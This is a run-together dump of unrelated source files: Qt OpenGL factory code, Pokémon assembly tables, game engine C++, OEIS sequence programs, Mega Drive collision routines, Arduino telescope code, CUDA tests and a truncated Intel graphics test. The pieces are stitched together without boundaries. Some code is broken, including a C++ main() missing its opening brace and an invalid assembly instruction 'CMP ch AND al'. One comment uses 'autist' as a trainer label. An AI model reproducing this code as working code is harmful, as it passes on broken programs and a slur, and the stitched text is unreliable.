Qt Foundation. The licenses are as published by the Free Software ** Foundation and appearing in the file LICENSE.GPL2 and LICENSE.GPL3 ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-2.0.html and ** https://www.gnu.org/licenses/gpl-3.0.html. ** ** $QT_END_LICENSE$ ** ** ** This file was generated by glgen version 0.1 ** Command line was: glgen ** ** glgen is Copyright (C) 2013 Klaralvdalens Datakonsult AB (KDAB) ** ** This is an auto-generated file. ** Do not edit! All changes made to it will be lost. ** ****************************************************************************/ #include "qopenglversionfunctionsfactory_p.h" #if !defined(QT_OPENGL_ES_2) #include "qopenglfunctions_4_5_core.h" #include "qopenglfunctions_4_5_compatibility.h" #include "qopenglfunctions_4_4_core.h" #include "qopenglfunctions_4_4_compatibility.h" #include "qopenglfunctions_4_3_core.h" #include "qopenglfunctions_4_3_compatibility.h" #include "qopenglfunctions_4_2_core.h" #include "qopenglfunctions_4_2_compatibility.h" #include "qopenglfunctions_4_1_core.h" #include "qopenglfunctions_4_1_compatibility.h" #include "qopenglfunctions_4_0_core.h" #include "qopenglfunctions_4_0_compatibility.h" #include "qopenglfunctions_3_3_core.h" #include "qopenglfunctions_3_3_compatibility.h" #include "qopenglfunctions_3_2_core.h" #include "qopenglfunctions_3_2_compatibility.h" #include "qopenglfunctions_3_1.h" #include "qopenglfunctions_3_0.h" #include "qopenglfunctions_2_1.h" #include "qopenglfunctions_2_0.h" #include "qopenglfunctions_1_5.h" #include "qopenglfunctions_1_4.h" #include "qopenglfunctions_1_3.h" #include "qopenglfunctions_1_2.h" #include "qopenglfunctions_1_1.h" #include "qopenglfunctions_1_0.h" #else #include "qopenglfunctions_es2.h" #endif QT_BEGIN_NAMESPACE QAbstractOpenGLFunctions *QOpenGLVersionFunctionsFactory::create(const QOpenGLVersionProfile &versionProfile) { #if !defined(QT_OPENGL_ES_2) const int major = versionProfile.version().first; const int minor = versionProfile.version().second; if (versionProfile.hasProfiles()) { switch (versionProfile.profile()) { case QSurfaceFormat::CoreProfile: if (major == 4 && minor == 5) return new QOpenGLFunctions_4_5_Core; else if (major == 4 && minor == 4) return new QOpenGLFunctions_4_4_Core; else if (major == 4 && minor == 3) return new QOpenGLFunctions_4_3_Core; else if (major == 4 && minor == 2) return new QOpenGLFunctions_4_2_Core; else if (major == 4 && minor == 1) return new QOpenGLFunctions_4_1_Core; else if (major == 4 && minor == 0) return new QOpenGLFunctions_4_0_Core; else if (major == 3 && minor == 3) return new QOpenGLFunctions_3_3_Core; else if (major == 3 && minor == 2) return new QOpenGLFunctions_3_2_Core; break; case QSurfaceFormat::CompatibilityProfile: if (major == 4 && minor == 5) return new QOpenGLFunctions_4_5_Compatibility; else if (major == 4 && minor == 4) return new QOpenGLFunctions_4_4_Compatibility; else if (major == 4 && minor == 3) return new QOpenGLFunctions_4_3_Compatibility; else if (major == 4 && minor == 2) return new QOpenGLFunctions_4_2_Compatibility; else if (major == 4 && minor == 1) return new QOpenGLFunctions_4_1_Compatibility; else if (major == 4 && minor == 0) return new QOpenGLFunctions_4_0_Compatibility; else if (major == 3 && minor == 3) return new QOpenGLFunctions_3_3_Compatibility; else if (major == 3 && minor == 2) return new QOpenGLFunctions_3_2_Compatibility; break; case QSurfaceFormat::NoProfile: default: break; }; } else { if (major == 3 && minor == 1) return new QOpenGLFunctions_3_1; else if (major == 3 && minor == 0) return new QOpenGLFunctions_3_0; else if (major == 2 && minor == 1) return new QOpenGLFunctions_2_1; else if (major == 2 && minor == 0) return new QOpenGLFunctions_2_0; else if (major == 1 && minor == 5) return new QOpenGLFunctions_1_5; else if (major == 1 && minor == 4) return new QOpenGLFunctions_1_4; else if (major == 1 && minor == 3) return new QOpenGLFunctions_1_3; else if (major == 1 && minor == 2) return new QOpenGLFunctions_1_2; else if (major == 1 && minor == 1) return new QOpenGLFunctions_1_1; else if (major == 1 && minor == 0) return new QOpenGLFunctions_1_0; } return 0; #else Q_UNUSED(versionProfile); return new QOpenGLFunctions_ES2; #endif } QT_END_NAMESPACE
; What music plays when a trainer notices you TrainerEncounterMusic:: ; entries correspond to trainer classes (see constants/trainer_constants.asm) db MUSIC_HIKER_ENCOUNTER ; none db MUSIC_YOUNGSTER_ENCOUNTER ; falkner db MUSIC_LASS_ENCOUNTER ; whitney db MUSIC_YOUNGSTER_ENCOUNTER ; bugsy db MUSIC_OFFICER_ENCOUNTER ; morty db MUSIC_OFFICER_ENCOUNTER ; pryce db MUSIC_LASS_ENCOUNTER ; jasmine db MUSIC_OFFICER_ENCOUNTER ; chuck db MUSIC_BEAUTY_ENCOUNTER ; clair db MUSIC_RIVAL_ENCOUNTER ; rival1 db MUSIC_HIKER_ENCOUNTER ; pokemon_prof db MUSIC_HIKER_ENCOUNTER ; will db MUSIC_HIKER_ENCOUNTER ; cal db MUSIC_OFFICER_ENCOUNTER ; bruno db MUSIC_HIKER_ENCOUNTER ; karen db MUSIC_HIKER_ENCOUNTER ; koga db MUSIC_OFFICER_ENCOUNTER ; champion db MUSIC_YOUNGSTER_ENCOUNTER ; brock db MUSIC_LASS_ENCOUNTER ; misty db MUSIC_OFFICER_ENCOUNTER ; lt_surge db MUSIC_ROCKET_ENCOUNTER ; scientist db MUSIC_OFFICER_ENCOUNTER ; erika db MUSIC_YOUNGSTER_ENCOUNTER ; youngster db MUSIC_YOUNGSTER_ENCOUNTER ; schoolboy db MUSIC_YOUNGSTER_ENCOUNTER ; bird_keeper db MUSIC_LASS_ENCOUNTER ; lass db MUSIC_LASS_ENCOUNTER ; janine db MUSIC_HIKER_ENCOUNTER ; cooltrainerm db MUSIC_BEAUTY_ENCOUNTER ; cooltrainerf db MUSIC_BEAUTY_ENCOUNTER ; beauty db MUSIC_POKEMANIAC_ENCOUNTER ; pokemaniac db MUSIC_ROCKET_ENCOUNTER ; gruntm db MUSIC_HIKER_ENCOUNTER ; gentleman db MUSIC_BEAUTY_ENCOUNTER ; skier db MUSIC_BEAUTY_ENCOUNTER ; teacher db MUSIC_BEAUTY_ENCOUNTER ; sabrina db MUSIC_YOUNGSTER_ENCOUNTER ; bug_catcher db MUSIC_HIKER_ENCOUNTER ; fisher db MUSIC_HIKER_ENCOUNTER ; swimmerm db MUSIC_BEAUTY_ENCOUNTER ; swimmerf db MUSIC_HIKER_ENCOUNTER ; sailor db MUSIC_POKEMANIAC_ENCOUNTER ; super_nerd db MUSIC_RIVAL_ENCOUNTER ; rival2 db MUSIC_HIKER_ENCOUNTER ; guitarist db MUSIC_HIKER_ENCOUNTER ; hiker db MUSIC_HIKER_ENCOUNTER ; biker db MUSIC_OFFICER_ENCOUNTER ; blaine db MUSIC_POKEMANIAC_ENCOUNTER ; burglar db MUSIC_HIKER_ENCOUNTER ; firebreather db MUSIC_POKEMANIAC_ENCOUNTER ; juggler db MUSIC_HIKER_ENCOUNTER ; blackbelt_t db MUSIC_ROCKET_ENCOUNTER ; executivem db MUSIC_YOUNGSTER_ENCOUNTER ; psychic_t db MUSIC_LASS_ENCOUNTER ; picnicker db MUSIC_YOUNGSTER_ENCOUNTER ; camper db MUSIC_ROCKET_ENCOUNTER ; executivef db MUSIC_SAGE_ENCOUNTER ; sage db MUSIC_SAGE_ENCOUNTER ; medium db MUSIC_HIKER_ENCOUNTER ; boarder db MUSIC_HIKER_ENCOUNTER ; pokefanm db MUSIC_KIMONO_ENCOUNTER ; kimono_girl db MUSIC_LASS_ENCOUNTER ; twins db MUSIC_BEAUTY_ENCOUNTER ; pokefanf db MUSIC_HIKER_ENCOUNTER ; red db MUSIC_RIVAL_ENCOUNTER ; blue db MUSIC_HIKER_ENCOUNTER ; officer db MUSIC_ROCKET_ENCOUNTER ; gruntf db MUSIC_HIKER_ENCOUNTER ; mysticalman db MUSIC_HIKER_ENCOUNTER ; Samurai db MUSIC_HIKER_ENCOUNTER ; autist
#include "TileEngine/RenderFun.h" #include "SGP/Input.h" #include "SGP/Random.h" #include "Tactical/DialogueControl.h" #include "Tactical/FOV.h" #include "Tactical/HandleItems.h" #include "TileEngine/Environment.h" #include "TileEngine/FogOfWar.h" #include "TileEngine/IsometricUtils.h" #include "TileEngine/RenderWorld.h" #include "TileEngine/Structure.h" #include "TileEngine/SysUtil.h" #include "TileEngine/TileDat.h" #include "TileEngine/WorldDef.h" #include "TileEngine/WorldMan.h" // Room Information UINT8 gubWorldRoomInfo[WORLD_MAX]; UINT8 gubWorldRoomHidden[MAX_ROOMS]; void InitRoomDatabase() { memset(gubWorldRoomInfo, NO_ROOM, sizeof(gubWorldRoomInfo)); memset(gubWorldRoomHidden, TRUE, sizeof(gubWorldRoomHidden)); } UINT8 GetRoom(UINT16 const gridno) { return gubWorldRoomInfo[gridno]; } BOOLEAN InAHiddenRoom(UINT16 sGridNo, UINT8 *pubRoomNo) { if (gubWorldRoomInfo[sGridNo] != NO_ROOM) { if ((gubWorldRoomHidden[gubWorldRoomInfo[sGridNo]])) { *pubRoomNo = gubWorldRoomInfo[sGridNo]; return (TRUE); } } return (FALSE); } // @@ATECLIP TO WORLD! void SetRecalculateWireFrameFlagRadius(const GridNo pos, const INT16 sRadius) { INT16 pos_x_; INT16 pos_y_; ConvertGridNoToXY(pos, &pos_x_, &pos_y_); const INT16 pos_x = pos_x_; const INT16 pos_y = pos_y_; for (INT16 y = pos_y - sRadius; y < pos_y + sRadius + 2; ++y) { for (INT16 x = pos_x - sRadius; x < pos_x + sRadius + 2; ++x) { const UINT32 uiTile = MAPROWCOLTOPOS(y, x); gpWorldLevelData[uiTile].uiFlags |= MAPELEMENT_RECALCULATE_WIREFRAMES; } } } void SetGridNoRevealedFlag(UINT16 const grid_no) { // Set hidden flag, for any roofs SetRoofIndexFlagsFromTypeRange(grid_no, FIRSTROOF, FOURTHROOF, LEVELNODE_HIDDEN); // ATE: Do this only if we are in a room if (gubWorldRoomInfo[grid_no] != NO_ROOM) { SetStructAframeFlags(grid_no, LEVELNODE_HIDDEN); // Find gridno one east as well if (grid_no + WORLD_COLS < NOWHERE) { SetStructAframeFlags(grid_no + WORLD_COLS, LEVELNODE_HIDDEN); } if (grid_no + 1 < NOWHERE) { SetStructAframeFlags(grid_no + 1, LEVELNODE_HIDDEN); } } // Set gridno as revealed gpWorldLevelData[grid_no].uiFlags |= MAPELEMENT_REVEALED; if (gfCaves) RemoveFogFromGridNo(grid_no); // ATE: If there are any structs here, we can render them with the obscured // flag! Look for anything but walls pn this gridno! for (STRUCTURE *i = gpWorldLevelData[grid_no].pStructureHead; i; i = i->pNext) { if (!(i->fFlags & STRUCTURE_SLANTED_ROOF)) { if (i->sCubeOffset != STRUCTURE_ON_GROUND) continue; if (!(i->fFlags & STRUCTURE_OBSTACLE) || i->fFlags & (STRUCTURE_PERSON | STRUCTURE_CORPSE)) continue; } STRUCTURE *const base = FindBaseStructure(i); LEVELNODE *const node = FindLevelNodeBasedOnStructure(base); node->uiFlags |= LEVELNODE_SHOW_THROUGH; if (i->fFlags & STRUCTURE_SLANTED_ROOF) { AddSlantRoofFOVSlot(base->sGridNo); node->uiFlags |= LEVELNODE_HIDDEN; } } gubWorldRoomHidden[gubWorldRoomInfo[grid_no]] = FALSE; } void ExamineGridNoForSlantRoofExtraGraphic(GridNo const check_grid_no) { // Check for a slanted roof here STRUCTURE *const s = FindStructure(check_grid_no, STRUCTURE_SLANTED_ROOF); if (!s) return; // We have a slanted roof here, find base and remove bool changed = false; STRUCTURE *const base = FindBaseStructure(s); LEVELNODE *const node = FindLevelNodeBasedOnStructure(base); bool const hidden = node->uiFlags & LEVELNODE_HIDDEN; GridNo const base_grid_no = base->sGridNo; DB_STRUCTURE_TILE *const *const tile = base->pDBStructureRef->ppTile; DB_STRUCTURE_TILE *const *const end = tile + base->pDBStructureRef->pDBStructure->ubNumberOfTiles; // Loop through each gridno and see if revealed for (DB_STRUCTURE_TILE *const *i = tile; i != end; ++i) { GridNo const grid_no = base_grid_no + (*i)->sPosRelToBase; if (grid_no < 0 || WORLD_MAX < grid_no) continue; if (gpWorldLevelData[grid_no].uiFlags & MAPELEMENT_REVEALED) { // Remove any slant roof items if they exist if (LEVELNODE const *const roof = FindTypeInRoofLayer(grid_no, SLANTROOFCEILING)) { RemoveRoof(grid_no, roof->usIndex); changed = true; } } else { // Add graphic if one does not already exist if (hidden && !FindTypeInRoofLayer(grid_no, SLANTROOFCEILING)) { AddRoofToHead(grid_no, SLANTROOFCEILING1); changed = true; } } } if (changed) { // Dirty the world InvalidateWorldRedundency(); SetRenderFlags(RENDER_FLAG_FULL); } } void RemoveRoomRoof(UINT16 sGridNo, UINT8 bRoomNum, SOLDIERTYPE *pSoldier) { UINT32 cnt; BOOLEAN fSaidItemSeenQuote = FALSE; // STRUCTURE *pStructure;//, *pBase; // LOOP THORUGH WORLD AND CHECK ROOM INFO for (cnt = 0; cnt < WORLD_MAX; cnt++) { if (gubWorldRoomInfo[cnt] == bRoomNum) { SetGridNoRevealedFlag((UINT16)cnt); RemoveRoofIndexFlagsFromTypeRange(cnt, FIRSTROOF, SECONDSLANTROOF, LEVELNODE_REVEAL); // Reveal any items if here! if (SetItemsVisibilityOn(cnt, 0, INVISIBLE, TRUE)) { if (!fSaidItemSeenQuote) { fSaidItemSeenQuote = TRUE; if (pSoldier != NULL) { TacticalCharacterDialogue(pSoldier, (UINT16)(QUOTE_SPOTTED_SOMETHING_ONE + Random(2))); } } } // OK, re-set writeframes ( in a radius ) SetRecalculateWireFrameFlagRadius(cnt, 2); } } // for ( cnt = 0; cnt < WORLD_MAX; cnt++ ) //{ // if ( gubWorldRoomInfo[ cnt ] == bRoomNum ) // { // ExamineGridNoForSlantRoofExtraGraphic( (UINT16)cnt ); // } //} // DIRTY THE WORLD! InvalidateWorldRedundency(); SetRenderFlags(RENDER_FLAG_FULL); CalculateWorldWireFrameTiles(FALSE); }
; A032443: a(n) = Sum_{i=0..n} binomial(2*n, i). ; 1,3,11,42,163,638,2510,9908,39203,155382,616666,2449868,9740686,38754732,154276028,614429672,2448023843,9756737702,38897306018,155111585372,618679078298,2468152192772,9848142504068,39301087452632,156861290196878,626155256640188,2499759080159300,9980668967565048,39853142319344188,159148821325626392,635593043085854200,2538557185841324496,10139684107326071075,40503202364427236102,161800473327296701298,646388949267037074428,2582439511573240996450,10317798247907103532308,41225242187303792386868,164724234886428162846072,658216514173982675583898,2630243929653654210226772,10510861800022978942773068,42004402770180011327133032,167866757601514959956871428,670883730286466843134397672,2681277803291790124464336968,10716370884455627324467301552,42831614764065318250982776718,171195131158019103638453114972,684270972386896797415757851316,2735105627889831029009407630808,10932737725888809799652399707076,43701081736609466572659456410792,174688169074982083856387271797288,698300716581900381954101477679728,2791443451710992708945413430842940,11158921349916125962284104064907448,44608984446807728997232171038717128,178331849326941793684895185836056432,712921452312639597753850099900858616 mov $1,2 mov $2,$0 mul $2,2 pow $1,$2 bin $2,$0 add $1,$2 sub $1,2 div $1,2 add $1,1 mov $0,$1
; A033145: Base 9 digits are, in order, the first n terms of the periodic sequence with initial period 1,0,0. ; 1,9,81,730,6570,59130,532171,4789539,43105851,387952660,3491573940,31424165460,282817489141,2545357402269,22908216620421,206173949583790,1855565546254110,16700089916286990,150300809246582911,1352707283219246199,12174365548973215791,109569289940758942120,986123609466830479080,8875112485201474311720,79876012366813268805481,718884111301319419249329,6469957001711874773243961,58229613015406872959195650,524066517138661856632760850,4716598654247956709694847650,42449387888231610387253628851 mul $0,2 add $0,5 mov $1,3 pow $1,$0 div $1,26 mul $1,3 div $1,14 add $1,1 div $1,2 mov $0,$1
;============================================================== ; WATERSHED - A game by Matt Phillips - (c) 2014 ;============================================================== ; BIG EVIL CORPORATION .co.uk ;============================================================== ; collision.asm - Collision data loading, collision tests ;============================================================== FindFloor: ; a0 - Level map data addr ; a1 - Collision tile data addr ; d0 (w) - Probe length ; d1 (ww) - Probe XY coord (pixels, scroll space) (Y = out) ; d2 (w) - Map total width (tiles) ; Keep copy of Y coord for return val clr.l d6 move.w d1, d6 ; Keep copy of map width (in words) for next row clr.l d7 move.w d2, d7 lsl.l #0x1, d7 ; ===================================================================== ; Convert XY coord to tile offset clr.l d3 move.w d1, d3 ; Y to d3 divu #0x8, d3 ; To tiles move.l d3, d4 ; Keep remainder for Y offset into tile and.l #0x0000FFFF, d3 ; Clear remainder mulu d2, d3 ; To Y offset clr.w d1 swap d1 ; X to lower d1 divu #0x8, d1 ; To tiles move.l d1, d5 ; Keep remainder for X offset into tile, and odd/even nybble test and.l #0x0000FFFF, d1 ; Clear remainder add.l d1, d3 ; Add X offset ; ===================================================================== ; Fetch tile ID from RAM clr.l d2 lsl.l #0x1, d3 ; Tile offset to words add.l d3, a0 ; Offset ptr, needed for next tile move.w (a0), d2 ; Fetch map tile andi.w #%0000011111111111, d2 ; Mask out palette/flipping ; ===================================================================== ; Y line offset into tile (using remainder) clr.w d4 ; Clear quotient swap d4 ; Remainder to lower d5 move.w d4, d1 ; Keep for starting byte mulu #0x8, d1 ; To nybble offset lsr.w #0x1, d1 ; To byte offset ; Invert Y for lines remaining in tile (for loop counter) move.w #0x8, d3 sub.b d4, d3 ; X byte offset into tile (using remainder) clr.w d5 ; Clear quotient swap d5 ; Remainder to lower d4 move.w d5, d4 ; Keep for odd/even nybble test lsr.w #0x1, d4 ; To bytes add.w d4, d1 ; Add to offset ; ===================================================================== ; Calc end of collision data ;move.w a1, d5 ;add.l #(SizeScreenT*2), d5 ; Calc starting byte move.l a1, a3 ; Backup tile data ROM addr in case next tile is needed mulu #bytes_per_tile, d2 ; Tile ID to byte offset add.l d2, a3 ; Add offset into ROM tile data to address add.l d1, a3 ; Add offset into current tile to address ; Y coord -1 for loop sub.w #0x1, d6 ; ===================================================================== ; Floor find loop @CollisionByteCheckLp: ;cmp.l d5, a1 ; Check end of collision data ;bge @EndCheck ; Fetch current collision byte, increment Y counters move.b (a3), d2 ; Get collision byte add.l #0x4, a3 ; Next byte downwards in tile add.w #0x1, d6 ; Increment Y coord sub.b #0x1, d3 ; Decrement lines remaning in tile cmpi.b #0x0, d3 ; Check if no lines remaining in tile bne @LinesRemaining ; No lines remaining in current tile, get next tile down clr.l d1 add.l d7, a0 ; Next tile ID down (map width (words) in d7) move.w (a0), d1 ; Fetch map tile andi.w #%0000011111111111, d1 ; Mask out palette/flipping mulu #bytes_per_tile, d1 ; Tile ID to byte offset move.l a1, a3 ; Reset tile data ROM addr add.l d1, a3 ; Add offset into ROM tile data to address add.l d4, a3 ; Add X offset into current tile to address move.b #0x7, d3 ; 8 lines remaining in new tile ; Check collision byte @LinesRemaining: cmpi.b #0x0, d2 ; Check if byte nonzero bne @CheckNybble ; If byte nonzero, check nybble dbra d0, @CollisionByteCheckLp ; Collision not found (probe length in d0) bra @EndCheck ; End of data ; Check collision nybble @CheckNybble: btst #0x1, d5 ; Determine if the odd or even nybble is to be tested bne @CheckUpperNybble lsr.b #0x4, d2 ; Shift to lower nybble @CheckUpperNybble: andi.b #0x0F, d2 ; Clear upper nybble btst #col_bit_floor, d2 ; Check for floor bit bne @EndCheck ; Collision found dbra d0, @CollisionByteCheckLp ; Collision not found (probe length in d0) @EndCheck: ; ===================================================================== ; Finished search clr.l d1 ; Clear return reg cmp.w #0xFFFF, d0 ; d0 holds lines remaining, -1 if loop finished beq @Return ; No collision found ; Floor found, move to return reg move.w d6, d1 ; Collision nybble in d2 @Return: rts
#include <iostream> //Header Files #include <string> using namespace std; bool digits(string str) { int k = 0; for (int i = 0; i < str.length(); i++) { if (isdigit(str[i])) k++; } if (k == str.length()) return true; else return false; } int main() // Driver Code string str; cout << "Enter String:" << endl; cin >> str; if (digits(str)) cout << "\n Yes" << endl; else cout << "\nNo"; return 0; }
#pragma once #if DISPLAY_TYPE > 0 bool showTargetRA = true; bool processRAKeys() { byte key; bool waitForRelease = false; if (lcdButtons.currentState() == btnUP) { if (RAselect == 0) { mount.targetRA().addHours(1); showTargetRA = true; } if (RAselect == 1) { mount.targetRA().addMinutes(1); showTargetRA = true; } if (RAselect == 2) { mount.targetRA().addSeconds(1); showTargetRA = true; } if (RAselect == 3) { showTargetRA = !showTargetRA; waitForRelease=true; } // slow down key repetitions mount.delay(200); } else if (lcdButtons.currentState() == btnDOWN) { if (RAselect == 0) { mount.targetRA().addHours(-1); showTargetRA = true; } if (RAselect == 1) { mount.targetRA().addMinutes(-1); showTargetRA = true; } if (RAselect == 2) { mount.targetRA().addSeconds(-1); showTargetRA = true; } if (RAselect == 3) { showTargetRA = !showTargetRA; waitForRelease=true; } // slow down key repetitions mount.delay(200); } else if (lcdButtons.keyChanged(&key)) { waitForRelease = true; switch (key) { case btnLEFT: { RAselect = adjustWrap(RAselect, 1, 0, 3); } break; case btnSELECT: { if (mount.isSlewingRAorDEC()) { mount.stopSlewing(ALL_DIRECTIONS); mount.waitUntilStopped(ALL_DIRECTIONS); } mount.startSlewingToTarget(); } break; case btnRIGHT: { lcdMenu.setNextActive(); } break; } } return waitForRelease; } void printRASubmenu() { if (mount.isSlewingIdle()) { String ra = mount.RAString(LCDMENU_STRING | (showTargetRA ? TARGET_STRING : CURRENT_STRING), RAselect).substring(0,12); ra += (RAselect == 3) ? ">" : " "; ra += showTargetRA ? "Ta" : "Cu"; lcdMenu.printMenu(ra); } } #endif
; int posix_memalign_unlocked(void **memptr, size_t alignment, size_t size) SECTION code_clib SECTION code_alloc_malloc PUBLIC _posix_memalign_unlocked EXTERN asm_posix_memalign_unlocked _posix_memalign_unlocked: pop af pop de pop bc pop hl push hl push bc push de push af jp asm_posix_memalign_unlocked
; A319956: Image of 3 under repeated application of the morphism 1 -> 1, 2 -> 22, 3 -> 312. ; 3,1,2,1,2,2,1,2,2,2,2,1,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2 mul $0,2 mov $1,2 mov $3,2 lpb $0,1 add $0,$3 add $2,$3 sub $0,$2 trn $0,1 mov $1,1 sub $1,$0 trn $0,$3 add $2,1 sub $2,$3 mul $2,2 sub $2,1 lpe add $1,1
/** * \file dnn/test/cuda/flip.cpp * MegEngine is Licensed under the Apache License, Version 2.0 (the "License") * * Copyright (c) 2014-2021 Megvii Inc. All rights reserved. * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ #include <gtest/gtest.h> #include "megdnn.h" #include "megdnn/oprs.h" #include "test/common/benchmarker.h" #include "test/common/checker.h" #include "test/common/flip.h" #include "test/common/tensor.h" #include "test/cuda/fixture.h" namespace megdnn { namespace test { TEST_F(CUDA, FLIP) { using namespace flip; std::vector<TestArg> args = get_args(); Checker<Flip> checker(handle_cuda()); checker.set_dtype(0, dtype::Int32()); checker.set_dtype(1, dtype::Int32()); //! test for batch size exceed CUDNN_MAX_BATCH_X_CHANNEL_SIZE Flip::Param cur_param; for (bool vertical : {false, true}) { for (bool horizontal : {false, true}) { cur_param.horizontal = horizontal; cur_param.vertical = vertical; args.emplace_back(cur_param, TensorShape{65535, 3, 4, 1}); args.emplace_back(cur_param, TensorShape{65540, 3, 4, 3}); } } for (auto&& arg : args) { checker.execs({arg.src, {}}); } } #if MEGDNN_WITH_BENCHMARK TEST_F(CUDA, FLIP_BENCHMARK) { auto run = [&](const TensorShapeArray& shapes) { Benchmarker<Flip> benchmarker(handle_cuda()); benchmarker.set_dtype(0, dtype::Int32()); benchmarker.set_dtype(1, dtype::Int32()); benchmarker.set_times(5); Flip::Param param; #define BENCHMARK_FLIP(is_vertical, is_horizontal) \ param.vertical = is_vertical; \ param.horizontal = is_horizontal; \ benchmarker.set_param(param); \ printf("src:%s vertical==%d horizontal==%d\n", shape.to_string().c_str(), \ is_vertical, is_horizontal); \ benchmarker.execs({shape, {}}); for (auto&& shape : shapes) { BENCHMARK_FLIP(false, false); BENCHMARK_FLIP(false, true); BENCHMARK_FLIP(true, false); BENCHMARK_FLIP(true, true); } #undef BENCHMARK_FLIP }; TensorShapeArray shapes = {{3, 101, 98, 1}, {3, 101, 98, 3}}; run(shapes); } #endif } // namespace test } // namespace megdnn // vim: syntax=cpp.doxygen
#include "InactiveState.h" #include "ActiveState.h" #include "DestructionState.h" /** * @brief Construct a new Inactive State:: Inactive State object * */ InactiveState::InactiveState() { } /** * @brief Destroy the Inactive State:: Inactive State object * */ InactiveState::~InactiveState() { } /** * @brief * * @param building */ void InactiveState::BuildingActive(UBuilding* building) { building->SetState(dynamic_cast<BuildingState*>(new ActiveState())); } /** * @brief * * @param building */ void InactiveState::BuildingDestruction(UBuilding* building) { building->SetState(dynamic_cast<BuildingState*>(new DestructionState())); } /** * @brief * * @param building */ void InactiveState::BuildingInactive(UBuilding* building) { return; } /** * @brief * * @param building */ void InactiveState::BuildingConstruction(UBuilding* building) { return; }
; A164606: a(n) = 10*a(n-1) - 17*a(n-2) for n > 1; a(0) = 1, a(1) = 21. ; Submitted by Christian Krause ; 1,21,193,1573,12449,97749,765857,5996837,46948801,367541781,2877288193,22524671653,176332817249,1380408754389,10806429650657,84597347681957,662264172758401,5184486816990741,40586377233014593,317727496441303333,2487306551451785249,19471698075015695829,152432769375476609057,1193308826479499261477,9341731185411890260801,73131061803967415162901,572501187887672017195393,4481783828209274114184613,35085318088002316849524449,274662855800465508554106069,2150178150508615699099145057 mov $1,15 mov $3,1 lpb $0 sub $0,1 mov $2,$3 mul $2,7 mul $3,6 add $3,$1 mul $1,4 add $1,$2 lpe mov $0,$3
db "OWL@" ; species name dw 204, 470 ; height, weight db "It begins to hoot" next "at the same time" next "every day. Some" page "trainers use them" next "in place of" next "clocks.@"
.MODEL small .STACK .DATA message db "hello world$" .CODE .STARTUP mov ch,23 mov al,24h CMP ch AND al .EXIT end
/* * Copyright (C) 2017-2019 Intel Corporation * * SPDX-License-Identifier: MIT * */ #include "core/helpers/string.h" #include "core/memory_manager/graphics_allocation.h" #include "core/memory_manager/unified_memory_manager.h" #include "core/unit_tests/compiler_interface/linker_mock.h" #include "runtime/memory_manager/allocations_list.h" #include "runtime/platform/platform.h" #include "runtime/program/program.h" #include "test.h" #include "unit_tests/mocks/mock_buffer.h" #include "unit_tests/mocks/mock_csr.h" #include "unit_tests/mocks/mock_program.h" #include "unit_tests/program/program_with_source.h" using namespace NEO; using namespace iOpenCL; static const char constValue[] = "11223344"; static const char globalValue[] = "55667788"; class ProgramDataTestBase : public testing::Test, public ContextFixture, public PlatformFixture, public ProgramFixture { using ContextFixture::SetUp; using PlatformFixture::SetUp; public: ProgramDataTestBase() { memset(&programBinaryHeader, 0x00, sizeof(SProgramBinaryHeader)); pCurPtr = nullptr; pProgramPatchList = nullptr; programPatchListSize = 0; } void buildAndDecodeProgramPatchList(); void SetUp() override { PlatformFixture::SetUp(); cl_device_id device = pPlatform->getDevice(0); ContextFixture::SetUp(1, &device); ProgramFixture::SetUp(); CreateProgramWithSource( pContext, &device, "CopyBuffer_simd8.cl"); } void TearDown() override { knownSource.reset(); ProgramFixture::TearDown(); ContextFixture::TearDown(); PlatformFixture::TearDown(); } size_t setupConstantAllocation() { size_t constSize = strlen(constValue) + 1; EXPECT_EQ(nullptr, pProgram->getConstantSurface()); SPatchAllocateConstantMemorySurfaceProgramBinaryInfo allocateConstMemorySurface; allocateConstMemorySurface.Token = PATCH_TOKEN_ALLOCATE_CONSTANT_MEMORY_SURFACE_PROGRAM_BINARY_INFO; allocateConstMemorySurface.Size = static_cast<uint32_t>(sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo)); allocateConstMemorySurface.ConstantBufferIndex = 0; allocateConstMemorySurface.InlineDataSize = static_cast<uint32_t>(constSize); pAllocateConstMemorySurface.reset(new cl_char[allocateConstMemorySurface.Size + constSize]); memcpy_s(pAllocateConstMemorySurface.get(), sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo), &allocateConstMemorySurface, sizeof(SPatchAllocateConstantMemorySurfaceProgramBinaryInfo)); memcpy_s((cl_char *)pAllocateConstMemorySurface.get() + sizeof(allocateConstMemorySurface), constSize, constValue, constSize); pProgramPatchList = (void *)pAllocateConstMemorySurface.get(); programPatchListSize = static_cast<uint32_t>(allocateConstMemorySurface.Size + constSize); return constSize; } size_t setupGlobalAllocation() { size_t globalSize = strlen(globalValue) + 1; EXPECT_EQ(nullptr, pProgram->getGlobalSurface()); SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo allocateGlobalMemorySurface; allocateGlobalMemorySurface.Token = PATCH_TOKEN_ALLOCATE_GLOBAL_MEMORY_SURFACE_PROGRAM_BINARY_INFO; allocateGlobalMemorySurface.Size = static_cast<uint32_t>(sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); allocateGlobalMemorySurface.GlobalBufferIndex = 0; allocateGlobalMemorySurface.InlineDataSize = static_cast<uint32_t>(globalSize); pAllocateGlobalMemorySurface.reset(new cl_char[allocateGlobalMemorySurface.Size + globalSize]); memcpy_s(pAllocateGlobalMemorySurface.get(), sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo), &allocateGlobalMemorySurface, sizeof(SPatchAllocateGlobalMemorySurfaceProgramBinaryInfo)); memcpy_s((cl_char *)pAllocateGlobalMemorySurface.get() + sizeof(allocateGlobalMemorySurface), globalSize, globalValue, globalSize); pProgramPatchList = pAllocateGlobalMemorySurface.get(); programPatchListSize = static_cast<uint32_t>(allocateGlobalMemorySurface.Size + globalSize); return globalSize; } std::unique_ptr<cl_char[]> pAllocateConstMemorySurface; std::unique_ptr<cl_char[]> pAllocateGlobalMemorySurface; char 